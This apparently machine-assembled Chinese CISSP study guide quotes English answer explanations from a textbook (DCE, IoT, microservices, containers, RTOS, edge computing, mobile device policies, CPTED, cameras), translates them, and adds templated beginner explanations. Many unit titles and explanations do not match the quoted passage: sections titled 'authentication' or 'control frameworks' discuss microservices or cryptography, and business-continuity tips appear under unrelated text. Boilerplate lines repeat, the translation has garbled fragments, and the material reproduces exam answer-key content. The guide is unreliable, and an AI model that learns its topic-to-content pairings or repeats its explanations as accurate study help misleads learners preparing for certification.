常见误区:RTO 问时间,RPO 问数据;这两个不要混。

读完后用一句话复述:如果我是业务连续性负责人,我会先识别风险,再选择控制,并保留能证明判断合理的证据。

考点提醒

考题会把“安全控制框架:用成熟框架组织安全”包装成一个业务场景:有人要上线系统、处理事故、审供应商、分配权限或选择控制。

先抓题干里的角色和目标:这里更像是业务连续性负责人在做判断。

最佳答案通常不是“最强工具”,而是能降低风险、符合职责、成本合理、还能留下证据的动作。

ISO 偏标准和管理体系。

Step-by-step、SOP 常对应 procedure。

资产安全题先问资产是谁拥有、如何分类、谁负责保护。

RTO 问时间:多久必须恢复。

排除法提醒:RTO 问时间,RPO 问数据;这两个不要混。

本页术语拆解
ISO ISO 是国际标准化组织,常见安全管理体系如 ISO 27001/27002。
程序 程序是一步一步怎么做。
资产 资产是组织认为有价值、需要保护的东西,可以是数据、系统、人员、设施或声誉。
恢复时间目标 RTO RTO 是业务或系统最多能中断多久。
学习单元 102 / PDF P1496

认证:证明身份

认证回答“你是不是你声称的那个人”。

教材原文段落

they were holding when power is lost or cycled. Static RAM is faster and more costly, and dynamic RAM requires regular refreshing of the stored contents. Take notice in this question that three of the options were effectively synonyms (at least from the perspective of volatile versus nonvolatile storage). If you notice synonyms among answer options, realize that none of the synonyms can be a correct answer for singleanswer multiple-choice questions. 8. C. The primary security concern of a distributed computing environment (DCE) is the interconnectedness of the components. This configuration could allow for error or malware propagation as well.

If an adversary compromises one component, it may grant them the ability to compromise other components in the collective through pivoting and lateral movement. The other options are incorrect. Unauthorized user access, identity spoofing, and poor authentication are potential weaknesses of most systems; they are not unique to DCE solutions. However, these issues can be directly addressed through proper design, coding, and testing. However, the interconnectedness of components is a native characteristic of DCE that cannot be removed without discarding the DCE design concept itself. 9. C. The best means to reduce IoT risk from these options is to keep devices current on updates.

Using public IP addresses will expose the IoT devices to attack from the internet. Powering off devices is not a useful defense—the benefit of IoT is that they are always running and ready to be used or take action when triggered or scheduled. Blocking access to the Internet will prevent the IoT devices from obtaining updates themselves, may prevent them from being controlled through a mobile device app, and will prevent communication with any associated cloud service. 10. D. Microservices are an emerging feature of web-based solutions and are derivative of service-oriented architecture (SOA).

A microservice is simply one element, feature, capability, business logic, or function of a web application that can be called upon or used by other web applications. It is the conversion or transformation of a capability of one web application into a microservice that can be called upon by numerous other web applications. The relationship to an application programming interface (API) is that each microservice must have a clearly defined (and secured!) API to allow for I/O between multi-microservices as well as to and from other applications. The other options are incorrect since they

中文直译 / 整理

在断电或重启时它们所保持的内容。 静态随机存取存储器(SRAM)速度 更快但成本更高,而动态随机存取存储器(DRAM)则需要定期刷新存储 内容。 请注意本题中三个选项实质上是同义词(至少从易失性与非易失性 存储的角度来看)。 如果你在选项中发现同义词,请意识到在单选题中, 这些同义词都不可能是正确答案。 8. C. 分布式计算环境(DCE)的主要安全顾虑在于其组件的互连性。 这种配 置也可能导致错误或恶意软件的传播。 如果攻击者入侵了其中一个组件,他 们可能通过跳板和横向移动,获得入侵整个系统中其他组件的能力。 其他选 项均不正确。 未经授权的用户访问、身份伪造和弱身份验证是大多数系统的 潜在弱点,但并非DCE解决方案所独有。 然而,这些问题可以通过适当的设 计、编码和测试直接解决。 但组件的互连性是DCE的固有特性,若移除这一 特性,则等于放弃DCE的设计理念本身。 9. C. 在这些选项中,降低物联网风险的最佳方法是保持设备及时更新。 使用 公共IP地址会使物联网设备暴露于互联网攻击之下。 关闭设备电源并非有效 的防御手段——物联网的优势在于其始终运行,可在被触发或按计划时立即 响应或执行操作。

阻止互联网访问将使物联网设备无法获取更新,可能阻止 其通过移动设备应用程序进行控制,并会中断与任何关联云服务的通信。 10. D. 微服务是基于Web的解决方案中的一项新兴特性,源自面向服务的架构 (SOA)。 微服务仅仅是Web应用程序的一个元素、功能、能力、业务逻辑 或函数,可被其他Web应用程序调用或使用。 它是将一个Web应用程序的某 种能力转换为可被众多其他Web应用程序调用的微服务的过程。 微服务与应用 程序编程接口(API)的关系在于,每个微服务都必须具有一个明确定义(且 已保护! )的API,以实现多微服务之间以及与其他应用程序之间的输入/输出 交互。 其他选项均不正确,因为它们

小白解释

场景先行:新员工入职后要登录系统。第一步是声明身份,第二步证明身份,第三步决定能访问哪些数据,最后系统要记录他做了什么。IAM 题就是围绕这条链条出题。

这一页真正想让你理解的是:认证回答“你是不是你声称的那个人”。

把它放进公司里看,关键不是背定义,而是判断:认证成功不代表什么都能做;离职、调岗、权限漂移都会造成越权。

你作为负责人可以这样想:把识别、认证、授权、审计分开看,再用最小权限和定期复核收口。

本页术语用人话说:

认证:认证是验证“你是不是你声称的那个人”。

授权:授权是认证之后决定你能访问什么、能做什么。

程序:程序是一步一步怎么做。

身份:身份是主体在系统中的标识。

常见误区:不要把 authentication 和 authorization 混成一件事:前者证明你是谁,后者决定你能干什么。

读完后用一句话复述:如果我是IAM 管理员,我会先识别风险,再选择控制,并保留能证明判断合理的证据。

考点提醒

考题会把“认证:证明身份”包装成一个业务场景:有人要上线系统、处理事故、审供应商、分配权限或选择控制。

先抓题干里的角色和目标:这里更像是IAM 管理员在做判断。

最佳答案通常不是“最强工具”,而是能降低风险、符合职责、成本合理、还能留下证据的动作。

密码、令牌、生物特征、多因素认证都服务认证。

认证成功不等于什么都能做;权限仍要单独授权。

Step-by-step、SOP 常对应 procedure。

身份管理题要区分识别、认证、授权、审计。

日志要保护完整性、时间同步和访问控制。

排除法提醒:不要把 authentication 和 authorization 混成一件事:前者证明你是谁,后者决定你能干什么。

本页术语拆解
认证 认证是验证“你是不是你声称的那个人”。
授权 授权是认证之后决定你能访问什么、能做什么。
程序 程序是一步一步怎么做。
身份 身份是主体在系统中的标识。
日志 日志记录系统和用户活动,用于监控、审计和调查。
恶意代码 恶意代码包括病毒、蠕虫、木马、勒索软件等。
学习单元 103 / PDF P1497

安全控制框架:用成熟框架组织安全

框架帮助组织系统化管理控制,而不是想到哪做到哪。

教材原文段落

are not derivatives of SOA. Cyber-physical systems are devices that offer a computational means to control something in the physical world. Fog computing relies on sensors, IoT devices, or even edge computing devices to collect data and then transfer it back to a central location for processing. Distributed control systems (DCSs) are typically found in industrial process plants where the need to gather data and implement control over a large-scale environment from a single location is essential. 11. B. This scenario describes the systems as being nonpersistent. A nonpersistent system or static system is a computer system that does not allow, support, or retain changes.

Thus, between uses and/or reboots, the operating environment and installed software are exactly the same. Changes may be blocked or simply discarded after each system use. A nonpersistent system is able to maintain its configuration and security in spite of user attempts to implement change. This scenario is not describing a cloud solution, although a virtual desktop infrastructure (VDI) could be implemented on-premises or in the cloud. This scenario is not describing thin clients, since the existing “standard” PC endpoints are still in use but a VDI is being used instead of the local system capabilities. A VDI deployment simulates a thin client.

This scenario is not describing fog computing. Fog computing relies on sensors, IoT devices, or even edge computing devices to collect data and then transfer it back to a central location for processing. 12. B. The issue in this situation is VM sprawl. Sprawl occurs when organizations fail to plan their IT/IS needs and just deploy new systems, software, and VMs whenever their production needs demand it. This often results in obtaining underpowered equipment that is then overtaxed by inefficient implementations of software and VMs. This situation is not specifically related to end-of-service-life (EOSL) systems, but EOSL systems would exacerbate the sprawl issue.

This situation is not related to poor cryptography, nor is there any evidence of VM escaping issues. 13. C. Containerization is based on the concept of eliminating the duplication of OS elements in a virtual machine. Instead, each application is placed into a container that includes only the actual resources needed to support the enclosed application, and the common or shared OS elements are then part of the hypervisor. The system as a whole could be redeployed using a containerization solution, and each of the applications previously present in the original seven VMs could be

中文直译 / 整理

不是面向服务架构(SOA)的衍生品。 信息物理系统是提供计算手段以控 制物理世界中某物的设备。 雾计算依赖于传感器、物联网设备甚至边缘计 算设备来收集数据,然后将其传输回中心位置进行处理。 分布式控制系统 (DCS)通常存在于工业流程工厂中,因为在单一位置收集数据并实现对 大规模环境的控制至关重要。 11. B. 此场景将系统描述为非持久性系统。 非持久性系统或静态系统是指不允 许、不支持或不保留更改的计算机系统。 因此,在每次使用和/或重启之间, 操作系统环境和已安装的软件完全相同。 更改可能被阻止,或在每次系统使用 后直接丢弃。 尽管用户试图进行更改,非持久性系统仍能维持其配置和安全性。 此场景并未描述云解决方案,尽管虚拟桌面基础架构(VDI)既可在本地部署, 也可在云端部署。 此场景也未描述瘦客户端,因为现有的“标准”PC终端仍 在使用,但采用的是VDI而非本地系统功能。 VDI部署模拟了瘦客户端。 此场 景未描述雾计算。 雾计算依赖于传感器、物联网设备甚至边缘计算设备来收集 数据,然后将其传输回中央位置进行处理。 12. B. 此情况中的问题是虚拟机蔓延。

蔓延发生在组织未能规划其IT/信息系 统需求,而仅在生产需求出现时随意部署新系统、软件和虚拟机时。 这通常导 致获取性能不足的设备,而这些设备又被低效的软件和虚拟机实现过度占用。 此情况与服务终止(EOSL)系统无直接关联,但EOSL系统会加剧蔓延问题。 此情况与加密技术不佳无关,也无任何证据表明存在虚拟机逃逸问题。 13. C. 容器化基于消除虚拟机中操作系统元素重复的概念。 相反,每个应用 程序都被放置到一个仅包含支持该应用程序所需实际资源的容器中,而公共 或共享的操作系统元素则成为虚拟机监控程序的一部分。 整个系统可以使用 容器化解决方案重新部署,原先存在于七个虚拟机中的每个应用程序都可以

小白解释

场景先行:财务要把合同发给供应商:不想被别人看懂,要加密;不想被人改金额,要校验完整性;不想对方抵赖,要签名和证书。密码学不是炫技,是解决这些业务信任问题。

这一页真正想让你理解的是:框架帮助组织系统化管理控制,而不是想到哪做到哪。

把它放进公司里看,关键不是背定义,而是判断:把加密、哈希、签名混在一起,会导致控制目标错位。

你作为负责人可以这样想:机密性用加密,完整性用哈希/签名,身份信任用证书和 PKI。

本页术语用人话说:

加密:加密把内容变成未授权者看不懂的形式。

ISO:ISO 是国际标准化组织,常见安全管理体系如 ISO 27001/27002。

标准:标准给出必须满足的最低要求。

程序:程序是一步一步怎么做。

常见误区:哈希不是加密;签名也不是为了隐藏内容。

读完后用一句话复述:如果我是系统架构师,我会先识别风险,再选择控制,并保留能证明判断合理的证据。

考点提醒

考题会把“安全控制框架:用成熟框架组织安全”包装成一个业务场景:有人要上线系统、处理事故、审供应商、分配权限或选择控制。

先抓题干里的角色和目标:这里更像是系统架构师在做判断。

最佳答案通常不是“最强工具”,而是能降低风险、符合职责、成本合理、还能留下证据的动作。

加密主要保护机密性,也可配合签名、哈希支持完整性和真实性。

ISO 偏标准和管理体系。

Minimum level、mandatory requirement 常对应 standard。

Step-by-step、SOP 常对应 procedure。

加密保护机密性,哈希保护完整性,数字签名支持完整性、真实性和不可否认性。

排除法提醒:哈希不是加密;签名也不是为了隐藏内容。

本页术语拆解
加密 加密把内容变成未授权者看不懂的形式。
ISO ISO 是国际标准化组织,常见安全管理体系如 ISO 27001/27002。
标准 标准给出必须满足的最低要求。
程序 程序是一步一步怎么做。
密码学 密码学用数学方法保护信息,常用于机密性、完整性、认证和不可否认性。
强制访问控制 MAC MAC 由系统根据标签和级别强制决定访问。
恢复点目标 RPO RPO 是最多能接受丢失多少时间范围的数据。
学习单元 104 / PDF P1498

机密性:让该看的人看,不该看的人看不到

机密性重点是防泄露,同时不能妨碍授权访问。

教材原文段落

placed into containers, as well as the six new applications. This should result in all 13 applications being able to operate reasonably well without the need for new hardware. Data sovereignty is the concept that, once information has been converted into a binary form and stored as digital files, it is subject to the laws of the country within which the storage device resides. Infrastructure as code (IaC) is a change in how hardware management is perceived and handled.

Instead of seeing hardware configuration as a manual, direct hands-on, one-on-one administration hassle, it is viewed as just another collection of elements to be managed in the same way that software and code are managed under DevSecOps (security, development, and operations). Process isolation requires that the OS provide separate memory spaces for each process's instructions and data and that the OS enforce those boundaries, preventing one process from reading or writing data that belongs to another process. 14. B. In industrial control systems (ICSs), ensuring the availability of realtime control signals is a primary concern.

Confidentiality, integrity, and nonrepudiation are important security concerns, but the immediate and continuous availability of control signals is critical for the proper functioning of industrial processes. 15. C. Because an embedded system is often in control of a mechanism in the physical world, a security breach could cause harm to people and property (aka cyber-physical). This typically is not true of a standard PC. Power loss, internet access, and software flaws are security risks of both embedded systems and standard PCs. 16. A. Arduino is a microcontroller that can be used to perform automated tasks.

MPP (massive parallel processing) systems are too expensive and not a reasonable option for this scenario. A real-time operating system (RTOS) is designed to process or handle data as it arrives on the system with minimal latency or delay. RTOS is a software OS that is usually stored and executed from ROM and thus may be part of an embedded solution or hosted on a microcontroller. An RTOS is designed for mission-critical operations where delay must be eliminated or minimized for safety. Thus, RTOS is not the best option for this scenario since it is about managing a garden, which does not need real-time mission-critical operations.

A field-programmable gate array (FPGA) is a flexible computing device intended to be programmed by the end user or customer. FPGAs are often used as embedded devices in a wide range of products, including industrial control systems (ICSs). FPGAs can be

中文直译 / 整理

放入容器中,以及六个新应用程序。 这应使全部13个应用程序都能在无需 新硬件的情况下合理运行。 数据主权是指,一旦信息被转换为二进制形式 并以数字文件存储,它即受存储设备所在国家法律的管辖。 基础设施即代 码(IaC)改变了对硬件管理的认知和处理方式。 与其将硬件配置视为需 要手动、直接、一对一管理的繁琐任务,不如将其视为与DevSecOps(安 全、开发和运维)下软件和代码管理方式相同的另一组元素进行管理。 进 程隔离要求操作系统为每个进程的指令和数据提供独立的内存空间,并强 制执行这些边界,防止一个进程读取或写入属于另一个进程的数据。 14. B. 在工业控制系统(ICSs)中,确保实时控制信号的可用性是首要关注 点。 机密性、完整性和不可否认性性是重要的安全问题,但控制信号的即时和 持续可用性对于工业过程的正常运行至关重要。 15. C. 由于嵌入式系统通常控制着物理世界中的某种机制,安全漏洞可能对 人员和财产造成损害(即网络‑物理攻击)。 这通常不适用于标准PC。 电源 中断、互联网访问和软件缺陷是嵌入式系统和标准PC共同面临的安全风险。 16. A. Arduino 是一种可用于执行自动化任务的微控制器。

MPP(大规模并 行处理)系统成本过高,不适合此场景。 实时操作系统(RTOS)旨在以最小 的延迟或延迟处理或响应系统到达的数据。 RTOS 是一种软件操作系统,通常 存储并从 ROM 中执行,因此可能是嵌入式解决方案的一部分,或托管在微控 制器上。 RTOS 专为必须消除或最小化延迟以确保安全的关键任务操作而设计。 因此,由于此场景是关于管理花园,不需要实时关键任务操作,RTOS 并非最 佳选择。 现场可编程门阵列(FPGA)是一种可由最终用户或客户编程的灵活 计算设备。 FPGA 常用于各种产品中的嵌入式设备,包括工业控制系统( ICSs)。 FPGA 可以

小白解释

场景先行:想象公司有一个客户订单系统:客户资料被别人看到是机密性问题,订单金额被偷偷改是完整性问题,系统打不开是可用性问题。教材这一页就是教你把事故先翻译成安全目标。

这一页真正想让你理解的是:机密性重点是防泄露,同时不能妨碍授权访问。

把它放进公司里看,关键不是背定义,而是判断:把泄露、篡改、宕机混在一起,就会选错控制措施。

你作为负责人可以这样想:先判断事故破坏了 CIA 哪一项,再选择对应控制:防泄露、防篡改、保可用。

本页术语用人话说:

机密性:机密性让该看的人能看,不该看的人看不到。

完整性:完整性保证数据没有被未授权修改,并且仍然正确可信。

可用性:可用性保证授权用户需要时能及时使用系统和数据。

不可否认性:不可否认性让行为人事后不能抵赖自己做过某事。

常见误区:不要把所有安全问题都归成“被黑了”。考试会逼你分清到底是泄露、篡改还是中断。

读完后用一句话复述:如果我是业务系统负责人,我会先识别风险,再选择控制,并保留能证明判断合理的证据。

考点提醒

考题会把“机密性:让该看的人看,不该看的人看不到”包装成一个业务场景:有人要上线系统、处理事故、审供应商、分配权限或选择控制。

先抓题干里的角色和目标:这里更像是业务系统负责人在做判断。

最佳答案通常不是“最强工具”,而是能降低风险、符合职责、成本合理、还能留下证据的动作。

加密、访问控制、分类、培训都常用于保护机密性。

哈希、数字签名、变更控制、输入校验常对应完整性。

冗余、备份、BCP/DRP、抗 DoS、容量规划都对应可用性。

数字签名、审计日志、交易记录和证书常支持不可否认性。

ISO 偏标准和管理体系。

排除法提醒:不要把所有安全问题都归成“被黑了”。考试会逼你分清到底是泄露、篡改还是中断。

本页术语拆解
机密性 机密性让该看的人能看,不该看的人看不到。
完整性 完整性保证数据没有被未授权修改,并且仍然正确可信。
可用性 可用性保证授权用户需要时能及时使用系统和数据。
不可否认性 不可否认性让行为人事后不能抵赖自己做过某事。
ISO ISO 是国际标准化组织,常见安全管理体系如 ISO 27001/27002。
NIST NIST 提供美国常用安全标准、框架和指南。
标准 标准给出必须满足的最低要求。
程序 程序是一步一步怎么做。
学习单元 105 / PDF P1499

保护机制:分层、隐藏、加密和边界

单一控制不够,安全靠多个机制配合。

教材原文段落

challenging to program and are often more expensive than other more limited solutions. Thus, FPGA is not the best fit for this scenario. 17. D. This scenario is describing a product that requires a real-time operating system (RTOS) solution, since it mentions the need to minimize latency and delay, storing code in ROM, and optimizing for mission-critical operations. A containerized application is not a good fit for this situation because it may not be able to operate in near real time due to the virtualization infrastructure, and containerized apps are typically stored as files on the contain host rather than a ROM chip.

An Arduino is a type of microcontroller, but not typically robust enough to be considered a near-real-time mechanism; it stores code on a flash chip, has a limited C++ based instruction set, and is not suited for missioncritical operations. A distributed control system (DCS) can be used to manage small-scale industrial processes, but it is not designed as a nearreal-time solution. DCSs are not stored in ROM, but they may be used to manage mission-critical operations. 18. A. This scenario is an example of edge computing. In edge computing, the intelligence and processing is contained within each device.

Thus, rather than having to send data off to a master processing entity, each device can process its own data locally. The architecture of edge computing performs computations closer to the data source, which is at or near the edge of the network. Fog computing relies on sensors, IoT devices, or even edge computing devices to collect data and then transfer it back to a central location for processing. A thin client is a computer with low to modest capability or a virtual interface that is used to remotely access and control a mainframe, virtual machine, or virtual desktop infrastructure (VDI). Infrastructure as code (IaC) is a change in how hardware management is perceived and handled.

Instead of seeing hardware configuration as a manual, direct hands-on, one-on-one administration hassle, it is viewed as just another collection of elements to be managed in the same way that software and code are managed under DevOps. 19. B. The risk of a lost or stolen laptop is the data loss, not the loss of the system itself, but the value of the data on the system, whether business related or personal. Thus, keeping minimal sensitive data on the system is the only way to reduce the risk. Hard drive encryption, cable locks, and strong passwords, although good ideas, are preventive tools, not means of reducing risk. They don't keep intentional and malicious data

中文直译 / 整理

编程难度大,且通常比其他更有限的解决方案更昂贵。 因此,FPGA并不适合此 场景。 17. D. 此场景描述了一种需要实时操作系统(RTOS)解决方案的产品,因为 它提到了需要最小化延迟和延迟、将代码存储在 ROM 中,并针对关键任务 操作进行优化。 容器化应用程序不适合这种情况,因为由于虚拟化基础设施, 它可能无法实现近实时运行; 容器化应用程序通常作为文件存储在宿主机上, 而非 ROM 芯片中。 Arduino 是一种微控制器,但通常不够稳健,无法被视 为近实时机制; 它将代码存储在闪存芯片上,具有有限的 C++ 指令集,不适 合关键任务操作。 分布式控制系统(DCS)可用于管理小型工业过程,但其 设计并非作为近实时解决方案。 DCS 不存储在 ROM 中,但可用于管理关键 任务操作。 18. A. 此场景是边缘计算的一个示例。 在边缘计算中,智能和处理功能包含在 每个设备内部。 因此,无需将数据发送到主处理实体,每个设备都可以在本地 处理自己的数据。 边缘计算的架构在更接近数据源的位置执行计算,即在网络 边缘或附近。 雾计算依赖于传感器、物联网设备甚至边缘计算设备来收集数据, 然后将其传输回中央位置进行处理。

瘦客户端是一种功能较低或中等的计算机, 或用于远程访问和控制大型机、虚拟机或虚拟桌面基础设施(VDI)的虚拟界 面。 基础设施即代码(IaC)改变了人们对硬件管理的认知和处理方式。 它不 再将硬件配置视为手动、直接、一对一的管理繁琐任务,而是将其视为与其他 软件和代码一样,通过 DevOps 进行管理的另一组元素。 19. B. 笔记本电脑丢失或被盗的风险在于数据丢失,而非系统本身的损失,而 是系统上数据的价值,无论是与业务相关还是个人数据。 因此,仅在系统上保 留最少的敏感数据才是降低风险的唯一方法。 硬盘加密、防盗锁和强密码虽然 是好主意,但只是预防性工具,并非降低风险的手段。 它们无法阻止故意且恶 意的数据

小白解释

场景先行:机房断电,业务部门问多久能恢复、最多会丢多少数据。BCP/DRP 不是背缩写,而是把业务能承受的中断时间和数据损失说清楚。

这一页真正想让你理解的是:单一控制不够,安全靠多个机制配合。

把它放进公司里看,关键不是背定义,而是判断:只做备份但没测试,真正灾难时可能恢复不了。

你作为负责人可以这样想:先做业务影响分析,再定 RTO/RPO,最后设计备份、冗余和演练。

本页术语用人话说:

加密:加密把内容变成未授权者看不懂的形式。

NIST:NIST 提供美国常用安全标准、框架和指南。

程序:程序是一步一步怎么做。

强制访问控制 MAC:MAC 由系统根据标签和级别强制决定访问。

常见误区:RTO 问时间,RPO 问数据;这两个不要混。

读完后用一句话复述:如果我是业务连续性负责人,我会先识别风险,再选择控制,并保留能证明判断合理的证据。

考点提醒

考题会把“保护机制:分层、隐藏、加密和边界”包装成一个业务场景:有人要上线系统、处理事故、审供应商、分配权限或选择控制。

先抓题干里的角色和目标:这里更像是业务连续性负责人在做判断。

最佳答案通常不是“最强工具”,而是能降低风险、符合职责、成本合理、还能留下证据的动作。

加密主要保护机密性,也可配合签名、哈希支持完整性和真实性。

看到 SP 800 系列、CSF、RMF 常联想到 NIST。

Step-by-step、SOP 常对应 procedure。

政府/军方、机密级别、标签、不可由用户随意改通常是 MAC。

RTO 问时间:多久必须恢复。

排除法提醒:RTO 问时间,RPO 问数据;这两个不要混。

本页术语拆解
加密 加密把内容变成未授权者看不懂的形式。
NIST NIST 提供美国常用安全标准、框架和指南。
程序 程序是一步一步怎么做。
强制访问控制 MAC MAC 由系统根据标签和级别强制决定访问。
恢复时间目标 RTO RTO 是业务或系统最多能中断多久。
学习单元 106 / PDF P1500

保护机制:分层、隐藏、加密和边界

单一控制不够,安全靠多个机制配合。

教材原文段落

compromise from occurring; instead, they encourage honest people to stay honest. Hard drive encryption can be bypassed using the cold boot attack or by taking advantage of an encryption service flaw or configuration mistake. Cable locks can be cut or ripped out of the chassis. Strong passwords do not prevent the theft of a device, and password cracking and/or credential stuffing may be able to overcome the protection. If not, the drive could be extracted and connected to another system to access files directly, even with the native OS running. 20. D. The best option in this scenario is corporate-owned.

A corporateowned mobile strategy (COMS) or corporate-owned, business-only (COBO) is when the company purchases mobile devices that can support compliance with the security policy. These devices are to be used exclusively for company purposes, and users should not perform any personal tasks on them. This option often requires workers to carry a second device for personal use. Corporate-owned clearly assigns responsibility for device oversight to the organization. The other three options still allow for comingling of data and have unclear or vague security responsibility assignments as a concept or policy basis.

BYOD is a policy that allows employees to bring their own personal mobile devices to work and use those devices to connect to business resources and/or the Internet through the company network. The concept of corporate-owned, personally enabled (COPE) means the organization purchases devices and provides them to employees. Each user is then able to customize the device and use it for both work activities and personal activities. The concept of choose your own device (CYOD) provides users with a list of approved devices from which to select the device to implement.

中文直译 / 整理

防止妥协发生; 相反,它们鼓励诚实的人保持诚实。 硬盘加密可以通过 冷启动攻击或利用加密服务的漏洞或配置错误来绕过 g误。 电缆锁可被剪断或 pp从机箱中取出。 强密码无法防止设备被盗,密码破解和/或凭证填充可能能够克服这种保 护。 否则,硬盘可能被取出并连接到另一 系统,即使在原生操作系统运行的情况下也能直接访问文件。 20. D. 在此情景下最佳选择是企业所有。 企业所有移动策略(COMS)或企业 所有、仅限业务(COBO)是指公司购买可支持安全策略合规性的移动设备。 这些设备应仅用于公司用途,用户不应在其上执行任何个人任务。 此选项通常 要求员工携带第二台设备用于个人用途。 企业所有明确将设备监管责任分配给 组织。 其他三个选项仍允许数据混用,且作为概念或政策基础,安全责任分配 不明确或模糊。 BYOD 是一种允许员工将个人移动设备带入工作场所,并通 过公司网络连接到业务资源和/或互联网的政策。 企业所有、个人启用( COPE)的概念是指组织购买设备并提供给员工,每位用户随后可自定义设备 并将其用于工作和个人活动。 选择你自己的设备(CYOD)的概念为用户提供 了一份获批设备列表,从中选择 要实现的设备。

小白解释

场景先行:机房断电,业务部门问多久能恢复、最多会丢多少数据。BCP/DRP 不是背缩写,而是把业务能承受的中断时间和数据损失说清楚。

这一页真正想让你理解的是:单一控制不够,安全靠多个机制配合。

把它放进公司里看,关键不是背定义,而是判断:只做备份但没测试,真正灾难时可能恢复不了。

你作为负责人可以这样想:先做业务影响分析,再定 RTO/RPO,最后设计备份、冗余和演练。

本页术语用人话说:

加密:加密把内容变成未授权者看不懂的形式。

政策:政策是高层原则,说明必须遵守什么。

恢复点目标 RPO:RPO 是最多能接受丢失多少时间范围的数据。

常见误区:RTO 问时间,RPO 问数据;这两个不要混。

读完后用一句话复述:如果我是业务连续性负责人,我会先识别风险,再选择控制,并保留能证明判断合理的证据。

考点提醒

考题会把“保护机制:分层、隐藏、加密和边界”包装成一个业务场景:有人要上线系统、处理事故、审供应商、分配权限或选择控制。

先抓题干里的角色和目标:这里更像是业务连续性负责人在做判断。

最佳答案通常不是“最强工具”,而是能降低风险、符合职责、成本合理、还能留下证据的动作。

加密主要保护机密性,也可配合签名、哈希支持完整性和真实性。

Policy 高层、强制、稳定;Procedure 具体步骤。

RPO 问数据:最多丢到哪个时间点。

排除法提醒:RTO 问时间,RPO 问数据;这两个不要混。

本页术语拆解
加密 加密把内容变成未授权者看不懂的形式。
政策 政策是高层原则,说明必须遵守什么。
恢复点目标 RPO RPO 是最多能接受丢失多少时间范围的数据。
学习单元 107 / PDF P1501

第 1501 页学习单元

这一页属于本章连续内容,先读原文和译文,再看下方把概念拆成小白能理解的版本。

教材原文段落

Chapter 10: Physical Security Requirements 1. C. Natural training and enrichment is not a core strategy of first generation CPTED. Crime Prevention Through Environmental Design (CPTED) has four main strategies: access control, natural surveillance, image and milieu, and territorial control. Access control is the subtle guidance of those entering and leaving a building through the placement of entranceways, fences, bollards, and lights. Natural surveillance is any means to make criminals feel uneasy through the increasing opportunities for them to be observed. Territorial control is the attempt to make the area feel like an inclusive, caring community. 2. B.

Critical path analysis is a systematic effort to identify relationships between mission-critical applications, processes, and operations and all the necessary supporting elements when evaluating the security of a facility or designing a new facility. Log file audit can help detect violations to hold users accountable, but it is not a security facility design element. Risk analysis is often involved in facility design, but it is the evaluation of threats against assets regarding the rate of occurrence and levels of consequence. Taking inventory is an important part of facility and equipment management but is not an element in overall facility design. 3. A, C, F.

The true statements are option A, cameras should be positioned to watch exit and entry points; option C, cameras should be positioned to have clear sight lines of all exterior walls, entrance and exit points, and interior hallways; and option F, some camera systems include a system on a chip (SoC) or embedded components and may be able to perform various specialty functions, such as time-lapse recording, tracking, facial recognition, object detection, or infrared or color-filtered recording. The remaining answer options are incorrect.

The corrected statements for those options are: option B: cameras should be used to monitor activities around valuable assets and resources as well as to provide additional protection in public areas such as parking structures and walkways; option D: security cameras can be overt and obvious to provide a deterrent benefit, or hidden and concealed to primarily provide a detection benefit; option E: some cameras are fixed, whereas others support remote control of automated pan, tilt, and zoom (PTZ); and option G: simple motion recognition or motion-triggered cameras may be fooled by animals, birds, insects, weather, or foliage.

中文直译 / 整理

第10章:物理安全要求 1. C. 自然训练和丰富化不是第一代CPTED的核心策略。 通过环境设计预防 犯罪(CPTED)有四大策略:出入口控制、自然监视、形象与环境,以及 领域控制。 出入口控制是通过出入口、围栏、柱桩和灯光的布置,微妙地引 导进出建筑物的人员。 自然监视是指通过增加犯罪者被观察的机会,使其感 到不安的任何手段。 领域控制是试图使该区域感觉像一个包容且关怀的社区。 2. B. 关键路径分析是在评估设施安全性或设计新设施时,系统性地识别关键 任务应用程序、流程和操作与所有必要支持要素之间关系的努力。 日志文件 审计有助于检测违规行为以追究用户责任,但它不是安全设施设计的要素。 风险分析通常涉及设施设计,但它是针对资产的威胁发生率和后果级别的评 估。 清点库存是设施和设备管理的重要部分,但不是整体设施设计的要素。 3. A、C、F。 正确的陈述为选项A:摄像头应布置在监控出入口的位置; 选 项C:摄像头应确保对所有外墙、出入口和内部走廊有清晰的视野; 选项F: 部分摄像头系统包含片上系统(SoC)或嵌入式组件,能够执行多种特殊功 能,例如延时录制、追踪、人脸识别、物体检测或红外或彩色滤光录制。

其 余选项均不正确。 这些选项的修正陈述如下:选项B:摄像头应用于监控贵重 资产和资源周围的活动,并为停车场、人行道等公共区域提供额外保护; 选 项D:安防摄像头可以是显眼的,以起到威慑作用,也可以是隐蔽的,以主要 实现检测功能; 选项E:部分摄像头为固定式,而其他摄像头支持远程控制自 动云台、俯仰和变焦(PTZ); 选项G:简单的运动识别或运动触发摄像头可 能被动物、鸟类、昆虫、天气或植被误导。

小白解释

场景先行:新员工入职后要登录系统。第一步是声明身份,第二步证明身份,第三步决定能访问哪些数据,最后系统要记录他做了什么。IAM 题就是围绕这条链条出题。

这一页真正想让你理解的是:这一页属于本章连续内容,先读原文和译文,再看下方把概念拆成小白能理解的版本。

把它放进公司里看,关键不是背定义,而是判断:认证成功不代表什么都能做;离职、调岗、权限漂移都会造成越权。

你作为负责人可以这样想:把识别、认证、授权、审计分开看,再用最小权限和定期复核收口。

本页术语用人话说:

审计:审计记录主体行为,用于追责、复盘和取证。

程序:程序是一步一步怎么做。

资产:资产是组织认为有价值、需要保护的东西,可以是数据、系统、人员、设施或声誉。

OSI 模型:OSI 用七层结构理解网络通信,从物理层到应用层。

常见误区:不要把 authentication 和 authorization 混成一件事:前者证明你是谁,后者决定你能干什么。

读完后用一句话复述:如果我是IAM 管理员,我会先识别风险,再选择控制,并保留能证明判断合理的证据。

考点提醒

考题会把“第 1501 页学习单元”包装成一个业务场景:有人要上线系统、处理事故、审供应商、分配权限或选择控制。

先抓题干里的角色和目标:这里更像是IAM 管理员在做判断。

最佳答案通常不是“最强工具”,而是能降低风险、符合职责、成本合理、还能留下证据的动作。

没有日志和身份绑定,就很难问责。

Step-by-step、SOP 常对应 procedure。

资产安全题先问资产是谁拥有、如何分类、谁负责保护。

网络题先定位层次,再判断协议、设备或攻击位置。

IPS 放在线路中,误报可能影响可用性。

排除法提醒:不要把 authentication 和 authorization 混成一件事:前者证明你是谁,后者决定你能干什么。

本页术语拆解
审计 审计记录主体行为,用于追责、复盘和取证。
程序 程序是一步一步怎么做。
资产 资产是组织认为有价值、需要保护的东西,可以是数据、系统、人员、设施或声誉。
OSI 模型 OSI 用七层结构理解网络通信,从物理层到应用层。
